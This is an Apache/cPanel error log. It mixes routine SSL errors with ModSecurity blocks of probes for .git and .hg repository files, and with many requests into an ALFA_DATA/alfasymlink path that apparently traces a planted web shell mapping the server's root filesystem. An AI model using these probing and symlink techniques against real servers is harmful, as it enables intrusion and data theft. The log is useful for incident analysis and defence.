[Sat Oct 24 04:22:57.165688 2026] [:notice] [pid 799574:tid 799574] mod_ruid2/0.9.8 enabled
[Sat Oct 24 04:22:57.187188 2026] [mpm_prefork:notice] [pid 799574:tid 799574] AH00163: Apache/2.4.69 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4 configured -- resuming normal operations
[Sat Oct 24 04:22:57.187217 2026] [core:notice] [pid 799574:tid 799574] AH00094: Command line: '/usr/sbin/httpd'
[Sat Oct 24 04:22:57.210389 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 18.211.148.239:4692] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:02.681149 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 54.225.181.161:50088] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:07.778654 2026] [core:error] [pid 2603777:tid 2603777] (13)Permission denied: [client 85.208.96.207:35794] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/damon_reclaim/parameters/min_age
[Sat Oct 24 04:23:10.180433 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 100.28.118.16:34239] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:18.154293 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 34.205.163.103:51296] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:26.308766 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 3.221.50.71:24638] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:30.200540 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.214.138.148:28431] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:42.179837 2026] [ssl:error] [pid 2603777:tid 2603777] (95)Operation not supported: [client 52.3.127.170:25685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:46.156896 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 44.193.102.198:12703] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:50.128035 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 44.195.145.102:29663] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:58.233693 2026] [ssl:error] [pid 2603776:tid 2603776] (5)Input/output error: [client 3.213.85.234:64673] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:23:59.126733 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 185.191.171.16:19560] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sgpool-64/min_partial
[Sat Oct 24 04:24:02.400999 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 3.222.190.107:63968] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:24:10.133772 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 52.70.123.241:41960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:24:22.137455 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 18.210.58.238:31664] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:24:26.131265 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 34.235.239.240:44948] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:24:33.324234 2026] [security2:error] [pid 2603788:tid 2603788] [client 43.135.182.95:58184] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/aviso-privacidad-usuario"] [unique_id "atxrQe3iNausmbvH7aw4_AAAAAA"]
[Sat Oct 24 04:24:34.132838 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 23.21.175.228:43442] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:24:42.116026 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 100.27.153.9:27393] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:24:48.768851 2026] [core:error] [pid 2603777:tid 2603777] (13)Permission denied: [client 185.191.171.15:36498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Parse/objects_partial
[Sat Oct 24 04:24:54.141891 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 34.202.88.37:46062] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:02.130880 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.193.2.57:44040] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:10.206689 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 3.211.105.134:27134] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:18.134005 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 54.83.23.103:44009] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:26.181762 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.45.15.233:60289] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:30.139758 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 18.232.36.1:42183] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:34.258005 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 44.205.192.249:4845] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:38.132044 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 52.70.209.13:27358] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:46.253685 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 100.25.120.246:58753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:54.162532 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 54.83.180.239:29300] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:25:58.129173 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 34.231.156.59:32295] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:26:00.106869 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.23.185.185:38486] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "farma2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmO3iNausmbvH7aw5AAAAAAA"]
[Sat Oct 24 04:26:00.107146 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.23.185.185:38486] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "farma2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmO3iNausmbvH7aw5AAAAAAA"]
[Sat Oct 24 04:26:00.107399 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.23.185.185:38486] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "farma2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmO3iNausmbvH7aw5AAAAAAA"]
[Sat Oct 24 04:26:00.107699 2026] [security2:error] [pid 2603788:tid 2603788] [client 34.23.185.185:38486] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "farma2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmO3iNausmbvH7aw5AAAAAAA"]
[Sat Oct 24 04:26:00.112509 2026] [security2:error] [pid 2603779:tid 2603779] [client 34.23.185.185:38482] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "farma1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmCexGt9DyRpJMCABqwAAABA"]
[Sat Oct 24 04:26:00.112751 2026] [security2:error] [pid 2603779:tid 2603779] [client 34.23.185.185:38482] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "farma1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmCexGt9DyRpJMCABqwAAABA"]
[Sat Oct 24 04:26:00.112912 2026] [security2:error] [pid 2603779:tid 2603779] [client 34.23.185.185:38482] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "farma1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmCexGt9DyRpJMCABqwAAABA"]
[Sat Oct 24 04:26:00.113135 2026] [security2:error] [pid 2603779:tid 2603779] [client 34.23.185.185:38482] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "farma1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atxrmCexGt9DyRpJMCABqwAAABA"]
[Sat Oct 24 04:26:19.369685 2026] [core:error] [pid 2603779:tid 2603779] (13)Permission denied: [client 85.208.96.195:24390] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/drm/sections/__bpf_raw_tp_map
[Sat Oct 24 04:26:30.231273 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 34.225.243.131:42571] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:26:31.856561 2026] [security2:error] [pid 2603777:tid 2603777] [client 185.191.171.19:19570] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/bitmaps/act_fold.xbm"] [unique_id "atxrt_tAOTGC3TEpikhGjwAAAB8"]
[Sat Oct 24 04:26:31.856605 2026] [security2:error] [pid 2603777:tid 2603777] [client 185.191.171.19:19570] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/bitmaps/act_fold.xbm"] [unique_id "atxrt_tAOTGC3TEpikhGjwAAAB8"]
[Sat Oct 24 04:26:34.420396 2026] [security2:error] [pid 2603779:tid 2603779] [client 100.28.57.133:37425] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory20/"] [unique_id "atxruiexGt9DyRpJMCABrQAAABA"]
[Sat Oct 24 04:26:34.420445 2026] [security2:error] [pid 2603779:tid 2603779] [client 100.28.57.133:37425] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory20/"] [unique_id "atxruiexGt9DyRpJMCABrQAAABA"]
[Sat Oct 24 04:26:42.202583 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 98.83.177.42:49220] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:27:02.233314 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 52.202.233.37:9061] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:27:11.195552 2026] [authz_core:error] [pid 2603779:tid 2603779] [client 167.71.186.121:60290] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sat Oct 24 04:27:13.412908 2026] [core:crit] [pid 2603776:tid 2603776] (13)Permission denied: [client 71.6.239.43:39576] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 04:27:14.241049 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 98.82.214.73:14672] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:27:18.265796 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 34.227.156.153:62476] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:27:30.402369 2026] [core:error] [pid 2603841:tid 2603841] (13)Permission denied: [client 23.21.227.240:48616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/device:1b/subsystem/uevent
[Sat Oct 24 04:27:34.253853 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 52.200.142.199:25763] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:27:38.336266 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 98.84.70.201:37404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/subsystem/input1/device/firmware_node/physical_node/driver/uevent
[Sat Oct 24 04:27:45.160751 2026] [authz_core:error] [pid 2603807:tid 2603807] [client 71.6.235.93:40036] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 04:27:46.538351 2026] [ssl:error] [pid 2603780:tid 2603780] (95)Operation not supported: [client 18.211.148.239:11860] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:27:50.259147 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 52.0.41.164:17564] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:02.344877 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 54.225.181.161:31057] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:06.214496 2026] [ssl:error] [pid 2603778:tid 2603778] (70014)End of file found: [client 54.198.33.233:52388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:06.541097 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 85.208.96.194:41676] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:10.262529 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.204.37.237:21582] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:14.423390 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 54.235.191.179:26662] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:26.977879 2026] [core:error] [pid 2603780:tid 2603780] (13)Permission denied: [client 85.208.96.209:63436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/cpu_partial
[Sat Oct 24 04:28:34.920835 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.213.36.21:64234] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:38.247130 2026] [ssl:error] [pid 2603841:tid 2603841] (22)Invalid argument: [client 54.225.181.161:34176] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:42.832812 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 185.191.171.4:31706] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-4k/objs_per_slab
[Sat Oct 24 04:28:46.233897 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 54.88.84.219:40207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:28:58.405355 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 54.235.172.108:59985] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:02.293523 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 18.214.138.148:3970] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:10.483483 2026] [ssl:error] [pid 2603788:tid 2603788] (5)Input/output error: [client 3.224.205.25:55671] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:10.569811 2026] [authz_core:error] [pid 2603780:tid 2603780] [client 71.6.235.93:44798] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sat Oct 24 04:29:18.243417 2026] [ssl:error] [pid 2603841:tid 2603841] (22)Invalid argument: [client 44.194.139.149:14173] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:30.291910 2026] [core:error] [pid 2603778:tid 2603778] (13)Permission denied: [client 100.24.167.60:36471] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/ehci-pci/unbind
[Sat Oct 24 04:29:34.302571 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 44.223.232.55:61056] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:38.388412 2026] [ssl:error] [pid 2603779:tid 2603779] (5)Input/output error: [client 52.4.76.156:52066] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:42.320656 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 100.29.160.53:39862] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:50.362494 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 34.236.41.241:53217] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/uhci_hcd/new_id
[Sat Oct 24 04:29:54.246983 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 52.71.203.206:51734] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:29:58.259986 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 18.214.186.220:5617] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:04.0/virtio1/subsystem/drivers/virtio_balloon/bind
[Sat Oct 24 04:30:06.295396 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.94.199.128:17214] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:30:07.190020 2026] [security2:error] [pid 2603780:tid 2603780] [client 193.32.162.164:39740] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/store/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.hg/store/requires"] [unique_id "atxsjxVGFs5mlQ9y3KndRAAAABc"]
[Sat Oct 24 04:30:07.190291 2026] [security2:error] [pid 2603780:tid 2603780] [client 193.32.162.164:39740] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.hg/store/requires"] [unique_id "atxsjxVGFs5mlQ9y3KndRAAAABc"]
[Sat Oct 24 04:30:07.191263 2026] [security2:error] [pid 2603780:tid 2603780] [client 193.32.162.164:39740] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atxsjxVGFs5mlQ9y3KndRAAAABc"]
[Sat Oct 24 04:30:18.354301 2026] [ssl:error] [pid 2603788:tid 2603788] (70014)End of file found: [client 52.23.112.144:33459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:30:22.369499 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 18.215.77.19:51791] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:30:27.206984 2026] [core:error] [pid 2603841:tid 2603841] (13)Permission denied: [client 54.85.109.140:36668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.2/remove
[Sat Oct 24 04:30:34.263090 2026] [core:error] [pid 2603807:tid 2603807] (13)Permission denied: [client 184.73.195.18:35001] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/iosf_mbi_pci/unbind
[Sat Oct 24 04:30:42.288329 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 98.84.184.80:36160] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:30:58.572123 2026] [ssl:error] [pid 2603780:tid 2603780] (70014)End of file found: [client 23.21.179.120:16695] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:06.417396 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 18.206.47.187:58731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:09.060424 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 85.208.96.207:46060] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:10.466836 2026] [ssl:error] [pid 2603776:tid 2603776] (70014)End of file found: [client 34.227.156.153:10591] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:18.650676 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 23.21.204.95:9735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:01/subsystem/devices/device:0a/subsystem/drivers/thermal/bind
[Sat Oct 24 04:31:22.344903 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 44.221.37.41:8763] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:30.310456 2026] [ssl:error] [pid 2603779:tid 2603779] (5)Input/output error: [client 44.210.204.255:55275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:38.285781 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 44.205.120.22:23483] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:46.439224 2026] [ssl:error] [pid 2603788:tid 2603788] (22)Invalid argument: [client 3.230.224.6:38292] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:31:50.772086 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 107.23.62.75:47721] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:32:02.350955 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 52.7.13.143:17046] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:32:06.271479 2026] [ssl:error] [pid 2603777:tid 2603777] (70014)End of file found: [client 3.229.95.193:38398] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:32:10.304235 2026] [core:error] [pid 2603776:tid 2603776] (13)Permission denied: [client 34.226.89.140:52856] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:04.0/resource1
[Sat Oct 24 04:32:14.419948 2026] [core:error] [pid 2603788:tid 2603788] (13)Permission denied: [client 54.92.171.106:23131] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/dw_dmac_pci/uevent
[Sat Oct 24 04:32:26.221115 2026] [ssl:error] [pid 2603779:tid 2603779] (70014)End of file found: [client 185.191.171.14:10896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:32:26.347279 2026] [ssl:error] [pid 2603841:tid 2603841] (70014)End of file found: [client 44.205.180.155:14713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 04:32:31.046620 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.54.249.218:54525] AH02013: coalesce failed to read from data bucket
